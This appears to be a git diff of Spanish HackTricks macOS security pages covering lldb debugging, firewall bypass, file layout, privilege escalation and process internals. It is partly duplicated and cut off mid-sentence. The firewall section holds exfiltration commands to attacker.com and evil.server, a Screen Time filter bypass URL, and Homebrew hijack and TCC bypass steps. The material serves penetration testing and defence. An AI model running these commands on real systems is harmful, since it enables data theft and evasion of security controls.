breakpoint set -r '\[NSFileManager .*\]$' #Cualquier método de NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Interrumpir en todas las funciones de esa biblioteca

b -a 0x0000000100004bd9

br l #Lista de puntos de interrupción

br e/dis #Habilitar/Deshabilitar punto de interrupción

breakpoint delete

help

help breakpoint #Obtener ayuda sobre el comando de punto de interrupción

help memory write #Obtener ayuda para escribir en la memoria

reg

reg read

reg read $rax

reg read $rax --format <formato>

reg write $rip 0x100035cc0

x/s Mostrar la memoria como una cadena terminada en nulo.
x/i Mostrar la memoria como instrucción de ensamblador.
x/b Mostrar la memoria como byte.
print object (po)

Esto imprimirá el objeto referenciado por el parámetro

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección
memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección
disassembly

dis #Desensamblar la función actual

dis -n #Desensamblar función

dis -n -b #Desensamblar función
dis -c 6 #Desensamblar 6 líneas
dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra
dis -p -c 4 # Comenzar en la dirección actual desensamblando

parrayparray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1
image dump sectionsImprimir el mapa de la memoria del proceso actual
image dump symtab image dump symtab CoreNLP #Obtener la dirección de todos los símbolos de CoreNLP
+
(lldb) ComandoDescripción
run (r)Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.
process launch --stop-at-entryIniciar la ejecución deteniéndose en el punto de entrada
continue (c)Continuar la ejecución del proceso depurado.
nexti (n / ni)Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.
stepi (s / si)Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.
finish (f)Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.
control + cPausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.
breakpoint (b)

b main #Cualquier función llamada main

b `main #Función principal del bin

b set -n main --shlib #Función principal del bin indicado

breakpoint set -r '\[NSFileManager .*\]$' #Cualquier método de NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Romper en todas las funciones de esa biblioteca

b -a 0x0000000100004bd9

br l #Lista de puntos de interrupción

br e/dis #Habilitar/Deshabilitar punto de interrupción

breakpoint delete

help

help breakpoint #Obtener ayuda del comando breakpoint

help memory write #Obtener ayuda para escribir en la memoria

reg

reg read

reg read $rax

reg read $rax --format <formato>

reg write $rip 0x100035cc0

x/s Mostrar la memoria como una cadena terminada en nulo.
x/i Mostrar la memoria como instrucción de ensamblador.
x/b Mostrar la memoria como byte.
print object (po)

Esto imprimirá el objeto referenciado por el parámetro

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección
memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección
disassembly

dis #Desensamblar función actual

dis -n #Desensamblar función

dis -n -b #Desensamblar función
dis -c 6 #Desensamblar 6 líneas
dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra
dis -p -c 4 # Comenzar en la dirección actual desensamblando

parrayparray 3 (char **)$x1 # Comprobar array de 3 componentes en el registro x1
image dump sectionsImprimir mapa de la memoria del proceso actual
image dump symtab image dump symtab CoreNLP #Obtener la dirección de todos los símbolos de CoreNLP
-> [!NOTE] +> [!TIP] > Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo (“C”). Para imprimir el nombre a través de lldb haz: > > `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` @@ -450,18 +450,18 @@ settings set target.x86-disassembly-flavor intel > > `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"` -### Análisis Anti-Dinámico +### Análisis Dinámico Anti #### Detección de VM - El comando **`sysctl hw.model`** devuelve "Mac" cuando el **host es un MacOS** pero algo diferente cuando es una VM. - Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`** algunos malwares intentan detectar si es una VM. -- Algunos malwares también pueden **detectar** si la máquina está basada en **VMware** según la dirección MAC (00:50:56). +- Algunos malwares también pueden **detectar** si la máquina es **basada en VMware** según la dirección MAC (00:50:56). - También es posible encontrar **si un proceso está siendo depurado** con un código simple como: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }` - También puede invocar la llamada al sistema **`ptrace`** con la bandera **`PT_DENY_ATTACH`**. Esto **previene** que un depurador se adjunte y trace. - Puedes verificar si la función **`sysctl`** o **`ptrace`** está siendo **importada** (pero el malware podría importarla dinámicamente) -- Como se señaló en este informe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ +- Como se señala en este informe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_El mensaje Process # exited with **status = 45 (0x0000002d)** es generalmente una señal reveladora de que el objetivo de depuración está usando **PT_DENY_ATTACH**_” ## Volcados de Núcleo @@ -478,7 +478,7 @@ En esos casos, el volcado de núcleo se genera de acuerdo con `kern.corefile` sy ### [ReportCrash](https://ss64.com/osx/reportcrash.html) -ReportCrash **analiza procesos que fallan y guarda un informe de fallos en el disco**. Un informe de fallos contiene información que puede **ayudar a un desarrollador a diagnosticar** la causa de un fallo.\ +ReportCrash **analiza procesos que fallan y guarda un informe de fallos en disco**. Un informe de fallos contiene información que puede **ayudar a un desarrollador a diagnosticar** la causa de un fallo.\ Para aplicaciones y otros procesos **que se ejecutan en el contexto de launchd por usuario**, ReportCrash se ejecuta como un LaunchAgent y guarda informes de fallos en `~/Library/Logs/DiagnosticReports/` del usuario.\ Para demonios, otros procesos **que se ejecutan en el contexto de launchd del sistema** y otros procesos privilegiados, ReportCrash se ejecuta como un LaunchDaemon y guarda informes de fallos en `/Library/Logs/DiagnosticReports` del sistema. @@ -528,7 +528,7 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> sort -u recv.log > procs.txt cat procs.txt ``` -O use `netstat` o `lsof` +O usa `netstat` o `lsof` ### Libgmalloc @@ -544,7 +544,7 @@ Funciona para herramientas de línea de comandos #### [Litefuzz](https://github.com/sec-tools/litefuzz) -Simplemente "**funciona"** con herramientas GUI de macOS. Ten en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivos únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)... +Simplemente "**funciona"** con herramientas GUI de macOS. Tenga en cuenta que algunas aplicaciones de macOS tienen requisitos específicos, como nombres de archivos únicos, la extensión correcta, necesidad de leer los archivos desde la sandbox (`~/Library/Containers/com.apple.Safari/Data`)... Algunos ejemplos: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 4a19b1889..2ffc53328 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -6,7 +6,7 @@ Las siguientes técnicas se encontraron funcionando en algunas aplicaciones de firewall de macOS. -### Abusando de nombres en la lista blanca +### Abuso de nombres en la lista blanca - Por ejemplo, llamar al malware con nombres de procesos bien conocidos de macOS como **`launchd`** @@ -61,16 +61,70 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` -### A través de inyecciones de procesos +### Inyección de procesos Si puedes **inyectar código en un proceso** que tiene permiso para conectarse a cualquier servidor, podrías eludir las protecciones del firewall: + {{#ref}} macos-proces-abuse/ {{#endref}} +--- + +## Vulnerabilidades recientes de bypass del firewall de macOS (2023-2025) + +### Bypass del filtro de contenido web (Tiempo de pantalla) – **CVE-2024-44206** +En julio de 2024, Apple corrigió un error crítico en Safari/WebKit que rompía el “filtro de contenido web” a nivel del sistema utilizado por los controles parentales de Tiempo de pantalla. +Una URI especialmente diseñada (por ejemplo, con “://” codificado en doble URL) no es reconocida por la ACL de Tiempo de pantalla, pero es aceptada por WebKit, por lo que la solicitud se envía sin filtrar. Cualquier proceso que pueda abrir una URL (incluido código en sandbox o no firmado) puede, por lo tanto, acceder a dominios que están explícitamente bloqueados por el usuario o un perfil MDM. + +Prueba práctica (sistema sin parches): +```bash +open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time +# if the patch is missing Safari will happily load the page +``` +### Error de orden de reglas del filtro de paquetes (PF) en las primeras versiones de macOS 14 “Sonoma” +Durante el ciclo beta de macOS 14, Apple introdujo una regresión en el envoltorio de espacio de usuario alrededor de **`pfctl`**. +Las reglas que se añadieron con la palabra clave `quick` (utilizada por muchos interruptores de corte de VPN) fueron ignoradas silenciosamente, causando filtraciones de tráfico incluso cuando una GUI de VPN/firewall reportaba *bloqueado*. El error fue confirmado por varios proveedores de VPN y corregido en RC 2 (build 23A344). + +Verificación rápida de filtraciones: +```bash +pfctl -sr | grep quick # rules are present… +sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface +``` +### Abusando de los servicios auxiliares firmados por Apple (heredado – pre-macOS 11.2) +Antes de macOS 11.2, la **`ContentFilterExclusionList`** permitía ~50 binarios de Apple como **`nsurlsessiond`** y la App Store eludir todos los firewalls de filtro de socket implementados con el marco de Network Extension (LuLu, Little Snitch, etc.). +El malware podía simplemente generar un proceso excluido—o inyectar código en él—y tunelizar su propio tráfico a través del socket ya permitido. Apple eliminó completamente la lista de exclusión en macOS 11.2, pero la técnica sigue siendo relevante en sistemas que no pueden ser actualizados. + +Ejemplo de prueba de concepto (pre-11.2): +```python +import subprocess, socket +# Launch excluded App Store helper (path collapsed for clarity) +subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store']) +# Connect through the inherited socket +s = socket.create_connection(("evil.server", 443)) +s.send(b"exfil...") +``` +--- + +## Consejos de herramientas para macOS moderno + +1. Inspeccionar las reglas PF actuales que generan los firewalls GUI: +```bash +sudo pfctl -a com.apple/250.ApplicationFirewall -sr +``` +2. Enumerar los binarios que ya tienen el privilegio *outgoing-network* (útil para piggy-backing): +```bash +codesign -d --entitlements :- /path/to/bin 2>/dev/null \ +| plutil -extract com.apple.security.network.client xml1 -o - - +``` +3. Registrar programáticamente tu propio filtro de contenido de Network Extension en Objective-C/Swift. +Un PoC mínimo sin root que reenvía paquetes a un socket local está disponible en el código fuente de **LuLu** de Patrick Wardle. + ## Referencias - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) +- +- {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index f357d3f8d..c96b47e4a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -9,27 +9,27 @@ - **/cores**: Si existe, se utiliza para almacenar volcados de núcleo - **/dev**: Todo se trata como un archivo, por lo que puedes ver dispositivos de hardware almacenados aquí. - **/etc**: Archivos de configuración -- **/Library**: Se pueden encontrar muchas subcarpetas y archivos relacionados con preferencias, cachés y registros aquí. Una carpeta Library existe en la raíz y en el directorio de cada usuario. +- **/Library**: Se pueden encontrar muchas subcarpetas y archivos relacionados con preferencias, cachés y registros aquí. Existe una carpeta Library en la raíz y en el directorio de cada usuario. - **/private**: No documentado, pero muchas de las carpetas mencionadas son enlaces simbólicos al directorio privado. - **/sbin**: Binarios esenciales del sistema (relacionados con la administración) -- **/System**: Archivo para hacer funcionar OS X. Aquí deberías encontrar principalmente solo archivos específicos de Apple (no de terceros). +- **/System**: Archivos para hacer funcionar OS X. Aquí deberías encontrar principalmente archivos específicos de Apple (no de terceros). - **/tmp**: Los archivos se eliminan después de 3 días (es un enlace simbólico a /private/tmp) - **/Users**: Directorio personal para usuarios. - **/usr**: Configuración y binarios del sistema - **/var**: Archivos de registro - **/Volumes**: Las unidades montadas aparecerán aquí. -- **/.vol**: Al ejecutar `stat a.txt` obtienes algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` donde el primer número es el número de identificación del volumen donde existe el archivo y el segundo es el número de inode. Puedes acceder al contenido de este archivo a través de /.vol/ con esa información ejecutando `cat /.vol/16777223/7545753` +- **/.vol**: Al ejecutar `stat a.txt` obtienes algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` donde el primer número es el id del volumen donde existe el archivo y el segundo es el número de inode. Puedes acceder al contenido de este archivo a través de /.vol/ con esa información ejecutando `cat /.vol/16777223/7545753` ### Carpetas de Aplicaciones -- **Las aplicaciones del sistema** se encuentran en `/System/Applications` -- **Las aplicaciones instaladas** suelen estar en `/Applications` o en `~/Applications` -- **Los datos de la aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y `~/Library/Application Support` para aplicaciones que se ejecutan como el usuario. +- Las **aplicaciones del sistema** se encuentran en `/System/Applications` +- Las aplicaciones **instaladas** suelen estar en `/Applications` o en `~/Applications` +- Los **datos de la aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y `~/Library/Application Support` para aplicaciones que se ejecutan como el usuario. - Los **demonios** de aplicaciones de terceros que **necesitan ejecutarse como root** suelen estar en `/Library/PrivilegedHelperTools/` - Las aplicaciones **sandboxed** están mapeadas en la carpeta `~/Library/Containers`. Cada aplicación tiene una carpeta nombrada de acuerdo con el ID del paquete de la aplicación (`com.apple.Safari`). - El **núcleo** se encuentra en `/System/Library/Kernels/kernel` -- **Las extensiones del núcleo de Apple** se encuentran en `/System/Library/Extensions` -- **Las extensiones del núcleo de terceros** se almacenan en `/Library/Extensions` +- Las **extensiones del núcleo de Apple** se encuentran en `/System/Library/Extensions` +- Las **extensiones del núcleo de terceros** se almacenan en `/Library/Extensions` ### Archivos con Información Sensible @@ -48,7 +48,7 @@ macos-installers-abuse.md ## Extensiones Específicas de OS X - **`.dmg`**: Los archivos de imagen de disco de Apple son muy frecuentes para instaladores. -- **`.kext`**: Debe seguir una estructura específica y es la versión de controlador de OS X. (es un paquete) +- **`.kext`**: Debe seguir una estructura específica y es la versión de OS X de un controlador. (es un paquete) - **`.plist`**: También conocido como lista de propiedades, almacena información en formato XML o binario. - Puede ser XML o binario. Los binarios se pueden leer con: - `defaults read config.plist` @@ -58,7 +58,7 @@ macos-installers-abuse.md - `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` - **`.app`**: Aplicaciones de Apple que siguen la estructura de directorio (es un paquete). - **`.dylib`**: Bibliotecas dinámicas (como archivos DLL de Windows) -- **`.pkg`**: Son lo mismo que xar (formato de archivo comprimido extensible). El comando de instalador se puede usar para instalar el contenido de estos archivos. +- **`.pkg`**: Son lo mismo que xar (formato de archivo extensible). El comando de instalador se puede usar para instalar el contenido de estos archivos. - **`.DS_Store`**: Este archivo está en cada directorio, guarda los atributos y personalizaciones del directorio. - **`.Spotlight-V100`**: Esta carpeta aparece en el directorio raíz de cada volumen en el sistema. - **`.metadata_never_index`**: Si este archivo está en la raíz de un volumen, Spotlight no indexará ese volumen. @@ -75,14 +75,14 @@ macos-bundles.md ## Caché de Biblioteca Compartida de Dyld (SLC) -En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks y dylibs, están **combinadas en un solo archivo**, llamado **caché compartida de dyld**. Esto mejora el rendimiento, ya que el código se puede cargar más rápido. +En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks y dylibs, están **combinadas en un solo archivo**, llamado la **caché compartida de dyld**. Esto mejora el rendimiento, ya que el código se puede cargar más rápido. Esto se encuentra en macOS en `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` y en versiones anteriores podrías encontrar la **caché compartida** en **`/System/Library/dyld/`**.\ En iOS puedes encontrarlas en **`/System/Library/Caches/com.apple.dyld/`**. -Similar a la caché compartida de dyld, el núcleo y las extensiones del núcleo también se compilan en una caché del núcleo, que se carga al inicio. +Similar a la caché compartida de dyld, el núcleo y las extensiones del núcleo también se compilan en una caché del núcleo, que se carga en el momento del arranque. -Para extraer las bibliotecas del único archivo de caché compartido de dylib, era posible usar el binario [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) que puede que no funcione hoy en día, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor): +Para extraer las bibliotecas del archivo único de la caché compartida de dylib, era posible usar el binario [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) que puede que no funcione hoy en día, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor): ```bash # dyld_shared_cache_util dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -93,7 +93,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all # More options inside the readme ``` > [!TIP] -> Ten en cuenta que incluso si la herramienta `dyld_shared_cache_util` no funciona, puedes pasar el **binario dyld compartido a Hopper** y Hopper podrá identificar todas las bibliotecas y permitirte **seleccionar cuál** deseas investigar: +> Ten en cuenta que incluso si la herramienta `dyld_shared_cache_util` no funciona, puedes pasar el **binario compartido de dyld a Hopper** y Hopper podrá identificar todas las bibliotecas y permitirte **seleccionar cuál** deseas investigar:
@@ -108,7 +108,7 @@ Algunos extractores no funcionarán ya que las dylibs están preenlazadas con di Ten en cuenta que incluso si el SLC se desliza en el primer uso, todos los **procesos** utilizan la **misma copia**, lo que **elimina la protección ASLR** si el atacante pudo ejecutar procesos en el sistema. Esto fue explotado en el pasado y se solucionó con el paginador de región compartida. -Los grupos de ramas son pequeñas dylibs Mach-O que crean pequeños espacios entre los mapeos de imágenes, haciendo imposible interponer las funciones. +Los grupos de ramas son pequeñas dylibs de Mach-O que crean pequeños espacios entre los mapeos de imágenes, haciendo imposible interponer las funciones. ### Sobrescribir SLCs @@ -121,13 +121,13 @@ Usando las variables de entorno: ### Permisos de Carpeta -En una **carpeta**, **leer** permite **listar** su contenido, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **traversar** el directorio. Por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde **no tiene permiso de ejecución** **no podrá leer** el archivo. +En una **carpeta**, **leer** permite **listar** su contenido, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **traversar** el directorio. Así que, por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde no tiene permiso de **ejecución** **no podrá leer** el archivo. ### Modificadores de Bandera Hay algunas banderas que se pueden establecer en los archivos que harán que el archivo se comporte de manera diferente. Puedes **verificar las banderas** de los archivos dentro de un directorio con `ls -lO /path/directory` -- **`uchg`**: Conocida como la bandera **uchange**, **previene cualquier acción** que cambie o elimine el **archivo**. Para establecerla haz: `chflags uchg file.txt` +- **`uchg`**: Conocida como la bandera **uchange**, **prevendrá cualquier acción** de cambiar o eliminar el **archivo**. Para establecerla haz: `chflags uchg file.txt` - El usuario root podría **eliminar la bandera** y modificar el archivo. - **`restricted`**: Esta bandera hace que el archivo esté **protegido por SIP** (no puedes agregar esta bandera a un archivo). - **`Sticky bit`**: Si un directorio tiene el sticky bit, **solo** el **propietario del directorio o root puede renombrar o eliminar** archivos. Típicamente, esto se establece en el directorio /tmp para evitar que los usuarios ordinarios eliminen o muevan archivos de otros usuarios. @@ -221,7 +221,7 @@ La herramienta afscexpand se puede usar para forzar la descompresión de un arch ## **Universal binaries &** Mach-o Format -Los binarios de Mac OS generalmente se compilan como **binarios universales**. Un **binario universal** puede **soportar múltiples arquitecturas en el mismo archivo**. +Los binarios de Mac OS generalmente se compilan como **universal binaries**. Un **universal binary** puede **soportar múltiples arquitecturas en el mismo archivo**. {{#ref}} universal-binaries-and-mach-o-format.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index b698cf20a..9b7657322 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -39,7 +39,7 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` -Tenga en cuenta que un usuario que utiliza el terminal probablemente tendrá **Homebrew instalado**. Por lo tanto, es posible secuestrar binarios en **`/opt/homebrew/bin`**. +Ten en cuenta que un usuario que utiliza el terminal probablemente tendrá **Homebrew instalado**. Por lo tanto, es posible secuestrar binarios en **`/opt/homebrew/bin`**. ### Suplantación del Dock @@ -205,8 +205,8 @@ killall Dock ### CVE-2020-9771 - bypass de TCC de mount_apfs y escalación de privilegios -**Cualquier usuario** (incluso los que no tienen privilegios) puede crear y montar un snapshot de Time Machine y **acceder a TODOS los archivos** de ese snapshot.\ -El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), lo cual debe ser concedido por un administrador. +**Cualquier usuario** (incluso los no privilegiados) puede crear y montar un snapshot de Time Machine y **acceder a TODOS los archivos** de ese snapshot.\ +El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Acceso Completo al Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser concedido por un administrador. ```bash # Create snapshot tmutil localsnapshot @@ -232,6 +232,7 @@ Una explicación más detallada se puede [**encontrar en el informe original**]( Esto puede ser útil para escalar privilegios: + {{#ref}} macos-files-folders-and-binaries/macos-sensitive-locations.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md index 23ba8de99..7fcf81e61 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md @@ -6,24 +6,24 @@ Un proceso es una instancia de un ejecutable en ejecución, sin embargo, los procesos no ejecutan código, estos son hilos. Por lo tanto, **los procesos son solo contenedores para hilos en ejecución** que proporcionan la memoria, descriptores, puertos, permisos... -Tradicionalmente, los procesos se iniciaban dentro de otros procesos (excepto el PID 1) llamando a **`fork`**, que crearía una copia exacta del proceso actual y luego el **proceso hijo** generalmente llamaría a **`execve`** para cargar el nuevo ejecutable y ejecutarlo. Luego, se introdujo **`vfork`** para hacer este proceso más rápido sin copiar memoria.\ +Tradicionalmente, los procesos se iniciaban dentro de otros procesos (excepto PID 1) llamando a **`fork`**, que crearía una copia exacta del proceso actual y luego el **proceso hijo** generalmente llamaría a **`execve`** para cargar el nuevo ejecutable y ejecutarlo. Luego, se introdujo **`vfork`** para hacer este proceso más rápido sin copiar memoria.\ Luego se introdujo **`posix_spawn`** combinando **`vfork`** y **`execve`** en una sola llamada y aceptando flags: - `POSIX_SPAWN_RESETIDS`: Restablecer ids efectivos a ids reales - `POSIX_SPAWN_SETPGROUP`: Establecer la afiliación del grupo de procesos -- `POSUX_SPAWN_SETSIGDEF`: Establecer el comportamiento predeterminado de la señal -- `POSIX_SPAWN_SETSIGMASK`: Establecer la máscara de señal +- `POSUX_SPAWN_SETSIGDEF`: Establecer el comportamiento predeterminado de señales +- `POSIX_SPAWN_SETSIGMASK`: Establecer la máscara de señales - `POSIX_SPAWN_SETEXEC`: Ejecutar en el mismo proceso (como `execve` con más opciones) - `POSIX_SPAWN_START_SUSPENDED`: Iniciar suspendido - `_POSIX_SPAWN_DISABLE_ASLR`: Iniciar sin ASLR - `_POSIX_SPAWN_NANO_ALLOCATOR:` Usar el asignador Nano de libmalloc - `_POSIX_SPAWN_ALLOW_DATA_EXEC:` Permitir `rwx` en segmentos de datos -- `POSIX_SPAWN_CLOEXEC_DEFAULT`: Cerrar todas las descripciones de archivo en exec(2) por defecto +- `POSIX_SPAWN_CLOEXEC_DEFAULT`: Cerrar todas las descripciones de archivos en exec(2) por defecto - `_POSIX_SPAWN_HIGH_BITS_ASLR:` Aleatorizar los bits altos del deslizamiento de ASLR -Además, `posix_spawn` permite especificar un array de **`posix_spawnattr`** que controla algunos aspectos del proceso generado, y **`posix_spawn_file_actions`** para modificar el estado de los descriptores. +Además, `posix_spawn` permite especificar un array de **`posix_spawnattr`** que controla algunos aspectos del proceso creado, y **`posix_spawn_file_actions`** para modificar el estado de los descriptores. -Cuando un proceso muere, envía el **código de retorno al proceso padre** (si el padre murió, el nuevo padre es PID 1) con la señal `SIGCHLD`. El padre necesita obtener este valor llamando a `wait4()` o `waitid()` y hasta que eso suceda, el hijo permanece en un estado zombi donde todavía está listado pero no consume recursos. +Cuando un proceso muere, envía el **código de retorno al proceso padre** (si el padre murió, el nuevo padre es PID 1) con la señal `SIGCHLD`. El padre necesita obtener este valor llamando a `wait4()` o `waitid()` y hasta que eso ocurra, el hijo permanece en un estado zombi donde todavía está listado pero no consume recursos. ### PIDs @@ -34,15 +34,15 @@ Los PIDs, identificadores de procesos, identifican un proceso único. En XNU, lo **Los procesos** pueden ser insertados en **grupos** para facilitar su manejo. Por ejemplo, los comandos en un script de shell estarán en el mismo grupo de procesos, por lo que es posible **señalarlos juntos** usando kill, por ejemplo.\ También es posible **agrupar procesos en sesiones**. Cuando un proceso inicia una sesión (`setsid(2)`), los procesos hijos se establecen dentro de la sesión, a menos que inicien su propia sesión. -La coalición es otra forma de agrupar procesos en Darwin. Un proceso que se une a una coalición le permite acceder a recursos compartidos, compartiendo un libro de contabilidad o enfrentándose a Jetsam. Las coaliciones tienen diferentes roles: Líder, servicio XPC, Extensión. +La coalición es otra forma de agrupar procesos en Darwin. Un proceso que se une a una coalición le permite acceder a recursos compartidos, compartiendo un libro mayor o enfrentándose a Jetsam. Las coaliciones tienen diferentes roles: Líder, servicio XPC, Extensión. ### Credenciales y Personas -Cada proceso tiene **credenciales** que **identifican sus privilegios** en el sistema. Cada proceso tendrá un `uid` primario y un `gid` primario (aunque puede pertenecer a varios grupos).\ +Cada proceso mantiene **credenciales** que **identifican sus privilegios** en el sistema. Cada proceso tendrá un `uid` primario y un `gid` primario (aunque puede pertenecer a varios grupos).\ También es posible cambiar el id de usuario y el id de grupo si el binario tiene el bit `setuid/setgid`.\ Hay varias funciones para **establecer nuevos uids/gids**. -La syscall **`persona`** proporciona un conjunto **alternativo** de **credenciales**. Adoptar una persona asume su uid, gid y membresías de grupo **a la vez**. En el [**código fuente**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) es posible encontrar la estructura: +La syscall **`persona`** proporciona un conjunto **alternativo** de **credenciales**. Adoptar una persona asume su uid, gid y membresías de grupo **de una vez**. En el [**código fuente**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) es posible encontrar la estructura: ```c struct kpersona_info { uint32_t persona_info_version; uid_t persona_id; /* overlaps with UID */ @@ -59,18 +59,18 @@ char persona_name[MAXLOGNAME + 1]; ## Información Básica sobre Hilos 1. **Hilos POSIX (pthreads):** macOS soporta hilos POSIX (`pthreads`), que son parte de una API de subprocesos estándar para C/C++. La implementación de pthreads en macOS se encuentra en `/usr/lib/system/libsystem_pthread.dylib`, que proviene del proyecto `libpthread` disponible públicamente. Esta biblioteca proporciona las funciones necesarias para crear y gestionar hilos. -2. **Creación de Hilos:** La función `pthread_create()` se utiliza para crear nuevos hilos. Internamente, esta función llama a `bsdthread_create()`, que es una llamada al sistema de nivel inferior específica del núcleo XNU (el núcleo en el que se basa macOS). Esta llamada al sistema toma varias banderas derivadas de `pthread_attr` (atributos) que especifican el comportamiento del hilo, incluidas las políticas de programación y el tamaño de la pila. -- **Tamaño de Pila por Defecto:** El tamaño de pila por defecto para nuevos hilos es de 512 KB, lo cual es suficiente para operaciones típicas, pero se puede ajustar a través de los atributos del hilo si se necesita más o menos espacio. -3. **Inicialización de Hilos:** La función `__pthread_init()` es crucial durante la configuración del hilo, utilizando el argumento `env[]` para analizar las variables de entorno que pueden incluir detalles sobre la ubicación y el tamaño de la pila. +2. **Creación de Hilos:** La función `pthread_create()` se utiliza para crear nuevos hilos. Internamente, esta función llama a `bsdthread_create()`, que es una llamada al sistema de nivel inferior específica del núcleo XNU (el núcleo en el que se basa macOS). Esta llamada al sistema toma varias banderas derivadas de `pthread_attr` (atributos) que especifican el comportamiento del hilo, incluyendo políticas de programación y tamaño de pila. +- **Tamaño de Pila por Defecto:** El tamaño de pila por defecto para nuevos hilos es de 512 KB, lo cual es suficiente para operaciones típicas, pero puede ajustarse a través de atributos de hilo si se necesita más o menos espacio. +3. **Inicialización de Hilos:** La función 